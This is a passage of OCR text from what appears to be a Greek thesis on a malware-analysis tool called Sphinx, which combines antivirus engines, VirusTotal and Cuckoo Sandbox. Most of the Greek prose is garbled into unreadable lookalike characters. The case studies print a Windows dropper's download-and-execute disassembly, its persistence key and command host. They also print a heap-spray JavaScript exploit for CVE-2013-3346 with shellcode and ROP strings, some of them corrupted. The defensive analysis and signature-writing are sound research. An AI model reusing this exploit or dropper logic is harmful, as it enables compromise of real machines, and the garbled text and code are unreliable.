Info Mropeire Na MpoomeAdoere 1o Apxeio Me AcpdAeia

Avast

AVG

Bit Defender
Comodo
Clam
VirusTotal
Cuckoo

Avéiuon

©0P 00000

Ovoa | demot

Eikova 10. Mapddelypa Avaiuvong Sphinx Mn lopopdikot Aoylopikol
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Eikova 11. Mapddetypa Avaiuong Sphinx lopopdikol Aoylopikou

Kdabe xpriotng péow tng WEB edbappoynig €xel Tn duvatotnta va urofalel apxeia
yla €Aeyxo. Na Adyoug e€olkovopnong Topwv 0 KABe €Aeyxog apxeiov xwpiletal oe duo
OTAdIa. 2TO TIPWTO OTASIO EAEYXOUL TO EKACTOTE APXEIO EAEYXETAL ATIO HIA OEIPA AVTLKWY
npoypappdtwv (AVG, Avast, Bit Defender, Clam, Comodo, Zoner). Ztn mopeia yivetal
uTtOAOYIONOG TNG SHA256 cuvoyng Tou Kat pe Baon avtr) avalntdrte n avadopd Tou oTov
lotétoro Virus Total. Ze mepintwon mov To apxeio €xel avaAuBei otov ev AOyw LOTOTOTIO
OTO anoteAeoparta NG avadopdc eAEyxeTal av LTINPEEE KATIOLO AVTIIKO Tipdypaupa Tov To
XOPAKTNPLIOE WG lopopdr). Z€ OTIOIAONTIOTE TIEPITITWON TIOL KATIOIOG AVTIKOG €AeyXOG 1
avalitnon Tou apxeiov oTtov 1O0TO TO Xapaktnpioovuv wg opopdry n dwadikaocia
OAOKANpwWveTAlL PE TO va ePPAVIOTEL OTO XPNOTN HIA COEAIOQ TIOU EUTIEPIEXEL CLVOTTTIKA
otoxeia ™G avdaivong mAnpodopwvTag TOV KATAAANAQ yla TO av TIPEMEL 1 OxL va
TPOCTIEAACEL TO APXEIO IOV LTERAAE pe aodAAela. 2TnVv avTiBetn mepintwon mouv 6Aa ta
avTlika poypdppata kabwg kal To Virus Total xapaktnpioouv To apxXeio wg pn LOPJoPPIKO
TO apxeio mepvdel oto 6e0TEPO ATASIO TNG AVAALGONG OTIOL EAEYXETAL N CLUTIEPIPOPA TOL
He To egpyaieio Cuckoo. lMNa va erutevyxbei autd eKPETAAAELOPAOTE TO YEYOVOG OTL TO

Cuckoo mapexel mAnpeg REST APl oe Toruko dlakopiotr). ‘ETol apXikd amnooTteEAAETAL TO
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apxeio otov dlakoplotr) Tou Cuckoo Kal pe €mMaAvaANMTIKA QITAPATA EAEYXETAL QV N
oladikaoia avaivong €xel oAokAnpwBei emtuxwg. Otav autd ouvpPel n emavainyn
OlakoTITETAL KAl AKOAOLBEL €va aitnua pe To ormoio AapPavetal n avadopad touv Cuckoo oe
popdr JSON. 21N nopeia e§ayovtal ol vnoypadeg(Cuckoo Signatures) Tng availuong Kat
TO apxeio katnyoploroleital (lopopdn f pn) pe Pacn TNV Kplowwotnta avtwy [MNapdptnua
n.2].

Nna Adyoug efoikovounonG UTIOAOYIOTIKWY TIOpwV Kal xpovou n edappoyn
oxedldoTnKe pE TPOTIO TETOIO WOTe KABe avdAluvon va armobnkevetal o€ KATAAANAQ

Oolapopdpwpevn Pacn dedopevwy.

] process v
process_id INT(11)

j element_user v » element_sha512 VARCHAR(128)

element_sha512 VARCHAR(128) process_virus_total INT(11)

user_ip VARCHAR(15) process_avast_antivirus INT(11)

element_user_timestamp TIMESTAMP process_avg_antivirus INT(11)
_____ —<g process_clam_antivirus INT(11)

process_comodo_antivirus INT(11)

r
|
|
| process_bit_defender_antivirus INT(11)
: process_cuckoo_sandbox INT(11)
-

] user v process_start_date DATETIME

‘ user_ip VARCHAR(15) process_end_date DATETIME

- element_sha512 VARCHAR(128)

| t_md5 VARCHAR(32
|PRIMARY elemant_m (32)
element_shal VARCHAR(40)
element_name VARCHAR(200)
element_size VARCHAR(100)

element_type VARCHAR(100)
] decision v

decision_id INT(11)

>

» element_sha512 VARCHAR(128)

decision_overall INT(11)

>

Eikova 12. E.R Aldypappa Baong Aedopévwv Sphinx

KdaBe dopd mou €va apxeio LTTOPAAAETAL O EAEYXO EKTEAOULVTAL ETEPWTNHATA OTN BAon
woTe va kKaboplotei av unapxel polndapxovoca avAAuvon armobnkevpevn yla TO apxeio
auto. H efaoddAion TNG povadlkoTNTAG TWV APXEiWV ETUTUYXAVETAL PE TO va
aroBnkevovTtal oTtoug Ttivakeg TnNG Bdaong dedopevwy pe Paon Tic cuvoyelc SHA512 nou
napdayovtal arnod avtd. 2e€ TEPITTWOoN TIoL €va apxeio €xel uttoPAnBel yla avaivon oe
MAAAIOTEPO XPOVIKO Oldaotnua eAéyxetatr av n avaivon touv oto Virus Total €xel
avaBewpnBei OLTWCG WOTE N KATACTACON TOUL apxeiov va avavewBei. AuTd oTOXEVEL GTO va

OlopBwvovtal Suvapikd AavBaopEVOL XAPAKTNEIOUOL apXeiwv OTn TEPIMTWON Tou €ival
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lOpoPdEG (adopd TEPIMTWOELIG TIOU €va KAKOPOUAO AOYIOHIKO €XEL KATnyoploTolnbei wg
HN-lopoPPIKG amnd EAAewhn vroypadwv oTiC BACEIC TWV AVTIKWY TIPOYPAUPATWY KATA TN
OTIlyMn TNG avAAuong) oLTwWG WOoTe va TeploploTei N e§amAwon Toug. Na KABe uToBoAN
apxeiov oe avalvon amobnkevetal To Cevyog xpnotn (SievBuvon IP) apxeio (SHA512)
KaBwg Kal Tola XPOoVvikh oty (Xpovoodpayida) mpayuatornordnke n evepyela Ing
LTIOPBOANG. AUTO QTTOOKOTIEI OTO VA PTIOPEL va TTIOCOTIKOTIOINBEL N Katavour) Kabe apxeiou
ota mAaiola evog opyaviopou, evw TtapdAAnAa Sivel tn duvatdtnta va eAeyxBei kal molol
XPNOTEG €XOLV POALVOEL Kal ard TIOIO CUYKEKPIHMEVO LOPOPPIKO AOYIOULIKO TNV OTLYUr TIOL

avabewpeital N katagTaon Tou.

__________________________________________________________________________________________

™o SHA512(ﬂ)

S

Meragopa Apxelou

”
w YrofoAn Apxelou @ sph(nx

YnofoAn Apxelou

FRONT END

Erooywyn I Baon

Avagopa

Cuckoo Sandbax

Eikova 13. Awaypappa Asttoupyiag Sphinx
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H Sduvapik avdAvon 1opopdIkoL AOYIOPIKOU aroTeAel TNV To ypriyopn pHEBodo yla
TNV TIAPOXN HIAG TIPWTAPXLKNG EIKOvVAG og eTtinedo d1adpaong avaueoa OTo UTIO EKTEAEDN
apxeio Kal To oLOTNUA OTOo OToio eKTEAEiTal. Ev yévn ol aduvapieg mou avadeixtnkav ano
TNV PEAETN auth eival o1l dev eival €dIKT n avixveuon OPOPPIKOU AOYIOHUIKOU va
avtopatornoinbei MANpwg r oe Babud wote va apaykwvioBel 0 avBpwrivog mapayovtag
adouv 10opOoPPIKA AOYIOUIKA KAl Pn TEIVOUV va €Xouv TIapOuola CLUTIEPIPOPA APKETEG
PopeG. AuTto odnyei  otnv aduvapia va e€axbouv akplBry cuuTiEPACUATA OE TIEPLTTWOEIG
oL adoPOLV VEA OPOPDIKA AOYIOUIKA TIOL Ol1agdOPOTIOIOVV CNUAVTIKA TNV cuurepidopa
TOULG TAPAKAPTITOVTAG onueia €Aeyxou mou PBagciCovtal otnv €idn vmndpyxovoca yvwon. H
nAnpodopia mov AauPdvoupe amd TIC avadopeES TPOYPAPPATWY SLVAMIKNAG avAAuong
LOMOPPIKOL AOYIOUIKOU TIap’ OAn TNV OnNUAvTIKOTNTA TOuG gival SUCKOAO va anoTturiwOouv
Kal va avaxouv oe npoPAiuata andédaong.

To KUPLO TIAEOVEKTNUA TNG QUTOMATOTIOINKEVNG AVAALONG LOPOPDIKOD AOYIOHIKOU
eivat ot1 péoa and TN Oladikacia auvtr) propouv va efaxbouv ypriyopa Ta POVOTIATIA
EKTEAEONG TWV LTIO €EETACN APXEIWV CLYKPITIKA PE TNV otatikriy avaivon. H rmAnpodopia
autr) Ba pmopovoe va aflomoinBei KATAANAQ pe TN XPrion TUBAVOTIKWY HOVTEAWV I
HOVTEAWV TEXVNTAG VONUOOUVNG ETEKTEIVOVTAG TIC €idn umdpxovoeg pebBodoug Tov
BaoiCovtal Kupiwg oTn oTaTiKr Sour EVOG EKTEAECILIOL apXeiov.

To gpyaleio Sphinx To ormoio avanTtuxBnke ota TAdiola avtig TNG SIMAWHATIKAG
epyaociac aroteAei Ookipaopeva pia Abon n ormoia ermdeEPeEl onNUAVTIKA TIO000TA
avixveuong adou cuvdudalel BEATIOTEG TPAKTIKEG aAvAALONG Kal avixveuong LOPOPPIKOU
AOYIOUIKOU.

Mia aképa evdladpepovoa TpooBnkn oto ev AOyw epyaAleio Ba armoteloloe n
enéktaon tov Cuckoo wote va vnootnpilel kat avdivon ocuptepidopds edapuoywv
KIVNTWV UTTIOAOYIOTIKWY OUCTNUATWY OE EIKOVIKA pnxaviuata r €EOPOoIWTEG KAabwg n

ol1adoaon opopdwy yia Kivntd avéavetal pe paydaioug pubuoug.
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2Tnv evotnta autr) mapovcialovral ot duvatdTnNTeEG TOUG EPYAAEIOL TIOUL
avamnTtuxbnke ota TmAaiola TNG SIMAWMATIKAG AUTAG 0 OLVOLACPO HE AANEG TEXVIKEG

avaAuvong LOPoPPIKOU AOYIOUIKOU pe Ttapadeiypata ano PeAAIOTIKA TIEPIOTATIKA.

2710 akOAouvBo cevaplo avaAvetal lopopdr) ayvwotng mpoglevong pe SHA1 ocovoyn
8620d9ee5f71¢c12e9eb63491fbdf58977f3e9fcO0 TUTIOL €EKTEAEOIYOU apXEiOL YA TO
Aeitouvpylkd ovotnua Windows. 210 mipwTto oOTAdlo TNG avaivong AauPavoupe tnv

avadopd Tou gpyaleiov Sphinx Tov pag evnuePWVel OTL TO APXEIO ATOTEAEL OpOPS
(Eikova 14).

Avast

AVG

Bit Defender
Comodo
Clam

Zoner

VirusTotal

0000000

Ovopa win

MéyeBog | 0.03173828125 MB

SHAS512 | 55a9b5cd64alf3cadb54553ecfadccdb7bf7ab056bc568a4c533805c76d2833d2a5d84f97fbal35c05a00f04f97caec5600bd375520032¢2570c7e2b%ea199c50
SHA1 8620d9ee5f71c12e9eb63491fodf58977f3e9fc0

MD5 S5ab15e4916dcc291883f22f105e68d42

Tomog application/x-ms-dos-executable

Eikova 14. AvdaAuon Sphinx lopopdrig PE32

Na Adyoug mouv avadepbnkav otnv evotnTa TIOU TEPLYPAdETAL N OXEOIAOTIKY SOUN TOL

Sphinx n avadiAuon TeppatioTnke XwpIG TNV eKTEAECN TNG opopdnc amrod 1o Cuckoo Sand-

box &16TL avixveLTNKe w¢g Lopopdn. ‘ETol KaTtorv ekkivnong Tou gpyaleiov AaupBavoupe TIG

akoAouvBeg mAnpodopieg yia tnv cuptiepidopd kat n 6pdon Tou ekteAEaipov (Eikdva 15).
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Signatures

A process created a hidden window

File has been identified by at least one AntiVirus on VirusTotal as malicious
Drops a binary and executes it

Installs itself for autorun at Windows startup

Creates a copy of itself

Malicious Drop

Eikova 15. Ynoypadeg Cuckoo Sandbox lopopdrg PE32

Ta oTolxeia ov avrAovpe ard TNV avaluon eival 6Tt To apxeio avtlypddel Tov €QUTO TOL
oto ¢pakelo C:\windows\ pe ovopacia windexplr.exe, opilel 60Tl Ba ekteAeital OMOTE O
XPNOTNG €KKIVEL TO ULTOAOYIOTIKO TOU OUCTNPA &vw TAPAAANAa ouvdéetal oe €va

OlaKopIoTH 0 omoiog KaTd tnv mepiodo avaiuong dev ntav npooPdoipog (Eikéva 16).

Registry Keys

e HKEY LOCAL_ MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\win.exe

e HKEY_ CURRENT_ USER\Software\Classes\Directory\Clsid

e HKEY_ LOCAL_ MACHINE\SOFTWARE\Classes\Directory\Clsid

e HKEY_ CURRENT_USER\Software\Classes\Folder\Clsid

e HKEY_ LOCAL_MACHINE\SOFTWARE\Classes\Folder\Clsid

e HKEY_ CURRENT_USER\SOFTWARE\Microsoft\Office\12.0\Groove\Development

e HKEY_ CURRENT USER

e HKEY_ CURRENT_ USER\Software\Microsoft\Windows NT\CurrentVersion\Time Zones

e HKEY_ CURRENT_ USER\Software\Microsoft\Windows NT\CurrentVersion\Time Zones\TimeZoneKeyName

e HKEY_ LOCAL_MACHINE\Software\Microsoft\Windows NT\currentVersion\Time Zones\E. Europe Standard Time

e HKEY_ LOCAL_ MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\E. Europe Standard Time\Std
e HKEY_ LOCAL_ MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\E. Europe Standard Time\Dlt
e HKEY_ LOCAL_ MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\E. Europe Standard Time\Tzi
e HKEY LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Time Zones\E. Europe Standard Time\Dynamic DST
e HKEY_ LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\

e HKEY_ LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\windexplor

Read Registry Keys

e HKEY_ CURRENT_ USER\Software\Microsoft\Windows NT\CurrentVersion\Time Zones\TimeZoneKeyName

e HKEY_ LOCAL_ MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\E. Europe Standard Time\Std
e HKEY_ LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\E. Europe Standard Time\Dlt
e HKEY_ LOCAL_ MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\E. Europe Standard Time\Tzi

Modified Registry Keys
e HKEY_ LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\windexplor

Deleted Registry Keys Nothing to display.

Executed Commands
e "c:\windows\windexplr.exe"

Mutexes
e DBWinMutex
¢ XjgnUlIPgekv3

Eikova 16. Avaluon Zuvumnepidpopdg lopopodric PE32
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Ta nmapanavw dedopéva dev eMAPKOLV yla va PTIOPETEL va KATnyoplorontei To ev AGyo
apxeio wg LOPOPDIKO AOYIOMIKO av Kal €xoupe evoeiéelg S10TL dev TeplAapPavel kaveva
TILOTOTIOINTIKO SNPOGCIoL KAELBI00 TIOL VA PAG EVNUEPWVEL YIA TNV TIPOEAELON TOL APXEIOU

(Eikéva 17 and to PEStudio).

7 c:\users\erevos\desktop\win.« | Name Type
Al Indicators (7/23

P Virustotal (45/56 - 16.04.20
O DOS Stub (192 bytes)

[0 DOS Header (64 bytes)

O Filel 20 byt

[0 Optional Header (224 byte
[0 Directones (3/13)

[0 Sections (6)

O Imported libraries (3/8)

0O

Imported symbols (28/38)

[ Exceptions
[0 Relocations (890)

& | Cetificates (0)

Eikova 17. 'EAAewpn ‘Eykupng Ymroypadng.

Mia onuavtikr) tAnpodopia mov AauPdavoupe ard tTnv availuon eival n ocuvdéeon n oroia
eTxelpeital va npaygatoroindei pe to dlakoulotr) otn dlevbuvon api.google.ex (Eikova
18).

DNS Requests
Domain IP Address IP Void Location URL Void

api.google.ex Domain not listed

Eikova 18. E&aywyr) Domain Name

‘Etol otoxevpeva pe tn xprjon tou gpyaieiov IDA gEdyovtal mepaltEpw CuumeEPACUATA Yia
n O1adpaacn Tou apxeiov Pe TO eV AOYO OLAKOMIOTH. 2TO TIPWTO oTAdIo e€eTAlETAL OE TIOLO
onuEio Tou eKTEAEOIPHOL KaAeital omoladrmnote ocuvaptnon tou Windows API n ormoia
npayuatornolei tn ovvdeon pe 1o dlakoulotr). E€etalovtag TI¢ ouvapTACELG TIOL EI0AYEL TO
EKTEAEOIWO Tapatnpeitalr n kAion ™g APl ocuvdptnong twv Windows URLDownload-
ToFileW* an6é tn ouvvdptnon sub_40662C. 2tn mopeia o Oeiktng TOU apxeiou TOL
EYKATAOTABNKE OTO TIPONYOUHEVO PBrUa XPNOIUOTIOEITAL oav Oplopa yia TNV KANon tng

ouvvaptnong ShellExecuteW>(Eikéva 19).

4 H ouvaptnon URLDownloadToFileW tou Windows APl amoBnkelel bits péow S1adikTuakAg
ouvdeang oe €va apxeio.

> H ouvdptnon ShellExecuteW tou Windows API xpnolyoroleital yia tnv ekKivnon eKTEAECIUWY
epappoywv.
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406679 push eax 5 LPCUSTR
48667A push ) 5 LPUNKNOWN
48667C call URLDownloadToFileW

406681 test eax, eax

406683 jnz short loc_406698

406685 push 0 5 nShowCmd
406687 push () ; 1lpDirectory
406689 push 0 ; lpParameters
406688 nov eax, [ebp+lpFile]

40668E push eax ; 1pFile
40668F push 0 ; lpOperation
406691 push 0 5 hund

406693 call ShellExecuteW

Eikova 19. Ztiypiétuno Zuvavinong IDA

O akolouBieg auvtég ouvriBwg mapatnpouvtal oe opopdeEG Katnyopiag Dropper.
Avotuxwg o dlakoplotAg TNV mepiodo eAéyxou dev efumnpetovoe OUTWG WOTE va
avaKtnoei Kal va avaluBei TO apxeio TO OTOIO ATAV TIPOYPAUUATIOUEVN VA EKTEAECEL N
OUYKEKPIYEVN lopopdny. ZTo otddlo autd atilel va avaAubei o TpoOTOG pe TO OToiov Ta
avTliKA TpoypdupaTa dnuiovpyouv uroypadeg yia tTnv avixveuon lopopdwv. ‘Etol pye n
xprion Ttou epyalAeiov sigtool tng ocovitag ClamAV yia Linux pmopolpe va
Xpnowotorjooupe ta opcodes Tou Tipayuatorolovv to Drop (Eikéva 20) wote va

onuiovpyriooupue pla veéa vroypadn yia to Clam Antivirus (Eikova 21).

S e R AT v TV VW MW WW O TW WW WA T T W s w v 3w l-\_..;-.n-- [T ~

0040666C C4 10 60 00 6A 00 8B 45 FC 50 8B 45 08 50 60 00 .. j-IENPIE.Pj.
0040667C E8 A7 AF FF FF 85 CO 75 13 6A 00 6A 00 6A 00 8B Fo» a+u.j.j.j.I
0040668C H5 FC 50 6A 0O 6A 00 E8 70 AF FF FF 8B 45 FC E8 EnPj.j.Fp» 1EnF
08408669C AD FF FF 8B 45 F8 E8 900 AD FF FF 50 50 6D C2 i; 1E°FE; Yv]-
0840866AC ©4 00 0O 0O 25 00 73 08 64 00 66 00 69 60 6C 00 ....%.s.d.f.i.l.
004066BC 65 00 25 60 69 00 2E 00 65 00 78 00 65 00 00 00 e.%.i...e.x.e...
004066CC 51 54 6A 00 50 68 2C 66 40 00 6A 00 6A 00 E8 F9 QTj.Ph,f@.j.j.F-

Eikova 20. Opcodes KakofouAou Drop

$ cat custom signature.ndb
Dropper.Win32.firstMalware.A:1:*:E8A7AFFFFF85C075136A006A006A008B45FC506A006A00E
870AFFFFF

$ clamscan -d custom signature.ndb win.exe

in.exe: Dropper.Win32.firstMalware.A.UNOFFICIAL FOUND

SCAN SUMMARY
Known viruses: 1
Engine version: 0.98.6
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.03 MB
Data read: 0.03 MB (ratio 1.00:1)
ime: 0.012 sec (6 m O s)

Eikova 21. Anuioupyia Yrioypadrg Clam Antivirus.
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2TO 0OgvAplo TIoL akoAouBei e€etaletal pia opopdr popdoturov PDF (Portable

Document Format) pe cbvoyn sha256 6b485821199e4e209774f87951d8f311569dffal1c5
c7ebac11ebbal4595afb8. Katoriv eAeyxou anod 1o gpyaAeio sphinx Aaupdavoupe PBabuo

avixvevong 4 arod ta 6 avtlika npoypdupata (Eikéva 22).

Avast

AVG

Bit Defender
Comodo
Clam

Zoner

0000001

VirusTotal

Ovopa msf
MéyeBog | 0.0053730010986328125 MB
SHAS512 | ec9e2b6bfb43cd09ba3ed615c20763937a1cal625e3a9d44cal84ebdf27aaad 6c6f1489fo30dbd95cf31fe040c147adad57d7f165dc7e2eadbf731038f1c8484

SHA1 b39c33606f1b3afced448585c08957688alfecaald
MD5 36aa58222c351ff7114021351e0410ch
Tomog application/pdf

Eikova 22. Avaluon Sphinx lopopdrg PDF

Evw n avdiuon mouv AapPdavoupe amd 1o Cuckoo Sandbox pag mpoeldorolel yla
KakOPBouAo Aoylopiko e€aitiag Javascript KwdiKa Tou epmepleExel ota Stream Ttou (Eikova
23).

Structure
AcroForm 1
Colors 0
Xref 1
Objects 7
Js 1
Streams 2
End Object 7
Open Action 1
Launch 0
JavaScript 1

Eikova 23. AvdAiuon Stream PDF
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Me tn xprjon Tou gpyaleiov Peepdf e€dyete o ermiouvantopevog Kwdikag Javascript
(Ekova 24).

(1, 2, 3, 4, 5, 6, 7]
(5]

[5, 71
(5]
[5

[1]
[1]
(6]
(4]
(4]

object 5 >> /home/lkyv/Desktop/encode. txt]j
Eikova 24. E€aywyn Javascript Exploit

To otypiotuno Javascript ouv €€dxbnke (Eikova 25) ekuyetalAevetal aduvapia touv Adobe
Reader kai nmpaypatorolei eniBeon Heap Spay odnywvtag tov Adobe Reader (CVE 2013-
3346) va ekteAEoel KakOPBouvAo Kwdika Oivovtag otov emTifOepevo mpooPacn oto

TEPHATIKO TIOL TO KAKOPBOoLAO PDF ekteAEoTnKe.

function heapSpray(str, str_addr, r_addr) {
var aaa = unescape("%u@coc"); .
aaa += aaa;
while ((aaa.length + 24 + 4) < (0x8000 + 0x8000)) aaa += aaa;
var il = r_addr - 0x24;
var bbb = aaa.substring(®, il / 2);
var sa = str_addr;
while (sa.length < (@x@c@c - r_addr)) sa += sa;
bbb += sa;

var ill = @x0cOc - 0x24;
bbb = bbb.substring(@, i1l / 2);
bbb str;
bbb aaa;
var i2 = 0x4000 + 0xc000;
var ccc = bbb.substring(@, i2 / 2);
while (ccc.length < (0x40000 + 0x40000)) ccc +=
var i3 = (0x1020 - 0x@8) / 2;
var ddd = ccc.substring(@, 0x80000 - i3);
new Array();
0; i < 0x1ed + 0x10; i++) eee[i] = ddd + "
return;

var shellcode = unescape("%uc9db%su9bba%u7ff4%ud946%u2474%uSef4%uc933%u49b1%u5631%u8319%ufceesu5603%u7915%uB301%uf4aeku7 cea%sub62 fsud962%ubdlesue9d10%ud833%ubf52%ue3b s
u5436%u814b%uSb9esu2 f fcku52 f9%ude fdsu39c5%uB813d%ud3b9%u6112%uBb83%u6067%uf6ca%u3088%u7d9d%uad3a%ucaa’suc587%ud f7ckubdb7%u90I%su774cucl03%udcfdsufIabsuda76suf86csu89
5b%ub350%u79d0%u4222%ubB31%u74cbsule7d%sub8f2%u570%u7e32%u2abb%su7 c48%u2c16%ufe8bsubIcchu580esul986%uS8ebsu f4b%uS678%u7420%u7b26%u59b7%uB75c%u5c3cud1b3%u7ad6%ud917%
ue3dciu370e%sulcb3%u9f50%ub86 chu321a%uba78%u5baduTo4dsudb7a%u83d9%uadodsus f46%uB186%u990 fue551%uS5d25%ul8cdsuddcbsudec7sucdI2%u 67 FuB69a%uf77 fHudBlesu57do%sue821%ul?
80%uB091%u97 catubce%su7df4%u5a67%u160e%u9782%u2 f11%uas fasuafll%su20cesuc5F7%u6420%u71afsu2dd8sue33bsuf825%u2341%ubeadsueab5%u7ba6%udbassu36a6%udad7suedb8sub2b2%ud92cs%
ued15%u13d8%uc24d%uecabsu58a7%u784e%u3708%ubcafsuc788%ues fI%uaf8ssus525dsucadbiud falsud 74 %ubf34%u3b26%u079%su62c4%uBBd7%ud137%uf5eI%uacelsud 6 fsudc8asudl1b3”) ;

var executable = "";

var rop9 = unescape ("%u313d%u4aB2%ua713%uda82%ul f90%udadosud038sudasasu’e7dsudaBosuf ffsufff ud000%sud000%ud040%ud000%sud000%UO00B%sU1000%udP0O%UDOB%sUBRR0%ULS5a%udaBd
Su3aB4%sudaBasudddessudaB2sul F90%u4aBo%ku7 6aa%sudaBasud030%udaBasud122%udaBisu7baasudaBasu’e7dsudadosu3l’s
%u42a81%ud026%ud000%u0dB%sUBA0sUAPD%LDABSUBADsUOBBR%U3aB2%udaBAa%sub cSesudaBasu7babbudadasufbc7%suB089%uB400%udd00%su7 173%uB FIcku7984%u4aB1%u3178%udasl" ) ;

var ropl0 = unescape("%u6015%u4a82%ue090%udaB2%ud07dsudaB2%u0038%udaBssud6d5sudaBsuf ffsufff sud000%u0000%ud43%ud000%U000%UO00B%sU1000%u0000%UO00D%UBDABUS016%uda8
0%u420c%udaBasud241%u4aBlsud07dsu4a82%u6015%udaB2%udd30%ud4aB5suba9disudaBasub015%udaBiudbdssudaB2sud 197
%u4a81%u0026%u0000%u0000%udAGEUODA0%LORA%UBDDBEUOBBVHU4D13%udaBlsued36%udaBisuaBd fsudaB2%u23a5%ufd5bsudd0d%sudoadsul cebsuddadsuBb31%udaBlsud197%udasl" ) ;

var ropll = unescape("%u822c%u4a85%uf129%udaB2%u597 fsudaB5%u6038%udad6sufld5sudas3suf ff fsufff sud000%ud00d%sudd40sudd0osuddd%sUO000%sU1000%ud00B%UBB00sUBRR%US093%udal
5%u822c%u605b%udd30%u4aB5%u597 fsudaB5sud031%udalssufb57%ud234%uB22 ckudaB5suf1d5%udaB3suda f8%udaB5%u6030%udaBesud864%udaBlsud026%ud00d%sudd0osudd00sudoadsuda0sud00d%su
0000%u4856%u4aB1%ud5ad%suda85sudbcasudaBosudS5adsudalssuc376%udaBlsub3do%sudaslsudl00sud000suds F8%udaBssuda F8%u4aB5%ud864%udasl” ) ;

Eikova 25. Kwdikotoinuévo Javascript Exploit
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Metatpon Apxeiov network.py oto ¢pakelo cuckoo/modules/processing/

import os
import re
import struct
import socket
import logging
from urlparse import urlunparse
import urllib2
import urllib
import datetime
import time
from lib.cuckoo.common.abstracts import Processing
from lib.cuckoo.common.config import Config
from lib.cuckoo.common.dns import resolve
from lib.cuckoo.common.irc import ircMessage
from lib.cuckoo.common.objects import File
from lib.cuckoo.common.utils import convert_to_printable
from lib.cuckoo.common.exceptions import CuckooProcessingError
from dns.resolver import query
from dns.reversename import from_address
from collections import defaultdict
try:
import GeolP
IS_GEOIP = True
gi = GeolP.new(GeolP.GEOIP_MEMORY_CACHE)
except ImportError:
IS_GEOIP = False

try:

import dpkt
IS_DPKT = True

except ImportError:
IS_DPKT = False

import heapq

from tempfile import gettempdir
from itertools import islice

from collections import namedtuple

TMPD = gettempdir()
Keyed = namedtuple("Keyed", ["key", "obj"])
Packet = namedtuple("Packet", ["raw", "ts"])

log = logging.getLogger(__name__)

class Pcap:
"""Reads network data from PCAP file."""

def __init__(self, filepath):
"""Creates a new instance.
@param filepath: path to PCAP file
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self.filepath = filepath

# List of all hosts.

self.hosts =[]

# List containing all non-private IP addresses.
self.unique_hosts =[]

# List of unique domains.
self.unique_domains =[]

# List containing all TCP packets.
self.tcp_connections =[]
self.tcp_connections_seen = set()

# List containing all UDP packets.
self.udp_connections =[]
self.udp_connections_seen = set()
# List containing all ICMP requests.
self.icmp_requests = [|

# List containing all HTTP requests.
self.http_requests = {}

# List containing all DNS requests.
self.dns_requests = {}
self.dns_answers = set()

# List containing all SMTP requests.
self.smtp_requests =[]

# Reconstruncted SMTP flow.
self.smtp_flow = {}

# List containing all IRC requests.
self.irc_requests =[]

# Dictionary containing all the results of this processing.
self.results = {}

def _dns_gethostbyname(self, name):

"""Get host by name wrapper.

@param name: hostname.

@return: IP address or blank

if Config().processing.resolve_dns:
ip = resolve(name)

else:
ip=

return ip

def _is_private_ip(self, ip):
"""Check if the IP belongs to private network blocks.
@param ip: IP address to verify.
@return: boolean representing whether the IP belongs or not to
a private network block.
networks = [
"0.0.0.0/8",
"10.0.0.0/8",
"100.64.0.0/10",
"127.0.0.0/8",
"169.254.0.0/16",
"172.16.0.0/12",
"192.0.0.0/24",
"192.0.2.0/24",
"192.88.99.0/24",
"192.168.0.0/16",
"198.18.0.0/15",
"198.51.100.0/24",
"203.0.113.0/24",
"240.0.0.0/4",
"255.255.255.255/32",
"224.0.0.0/4"
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for network in networks:

try:
ipaddr = struct.unpack(">l", socket.inet_aton(ip))[0]

netaddr, bits = network.split("/")

network_low = struct.unpack(">1", socket.inet_aton(netaddr))[0]
network_high = network_low | (1 << (32 - int(bits))) - 1

if ipaddr <= network_high and ipaddr >= network_low:
return True
except:
continue

return False

def _get_cn(self, ip):
cn = "unknown"
log = logging.getLogger("Processing.Pcap")
if IS_GEOIP:
try:
temp_cn = gi.country_name_by_addr(ip)
if temp_cn:
cn =temp_cn
except:
log.error("Unable to GEOIP resolve %s" % ip)
return cn

def _add_hosts(self, connection):
"""Add IPs to unique list.
@param connection: connection data

try:
if connection["dst"] not in self.hosts:
ip = convert_to_printable(connection["dst"])

if ip not in self.hosts:
self.hosts.append(ip)

# We add external IPs to the list, only the first time
# we see them and if they're the destination of the
# first packet they appear in.
if not self._is_private_ip(ip):
self.unique_hosts.append(ip)
except:
pass

def _enrich_hosts(self, unique_hosts):
enriched_hosts=[]
while unique_hosts:
ip = unique_hosts.pop()
inaddrarpa = ""
try:
inaddrarpa = query(from_address(ip), "PTR").rrset[0].to_text()
except:
pass
hostname =
for request in self.dns_requests.values():
for answer in request['answers']:
if answer["data"] == ip:
hostname = request["request"]
enriched_hosts.append({"ip": ip, "country_name": self._get_cn(ip),
"hostname": hostname, "inaddrarpa": inaddrarpay})
return enriched_hosts
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def _tcp_dissect(self, conn, data):

"""Runs all TCP dissectors.

@param conn: connection.

@param data: payload data.

if self._check_http(data):
self._add_http(conn, data)

# SMTP.

if conn["dport"] == 25:
self._reassemble_smtp(conn, data)

# IRC.

if conn["dport"] = 21 and self._check_irc(data):
self._add_irc(conn, data)

def _udp_dissect(self, conn, data):
"""Runs all UDP dissectors.
@param conn: connection.
@param data: payload data.
# Select DNS and MDNS traffic.
if conn["dport"] == 53 or conn["sport"] == 53 or conn["dport"] == 5353 or conn["sport"] == 5353:
if self._check_dns(data):
self._add_dns(data)

def _check_icmp(self, icmp_data):
"""Checks for ICMP traffic.
@param icmp_data: ICMP data flow.
try:
return isinstance(icmp_data, dpkt.icmp.ICMP) and \
len(icmp_data.data) > 0
except:
return False

def _icmp_dissect(self, conn, data):
"""Runs all ICMP dissectors.
@param conn: connection.
@param data: payload data.

if self._check_icmp(data):
# If ICMP packets are coming from the host, it probably isn't
# relevant traffic, hence we can skip from reporting it.
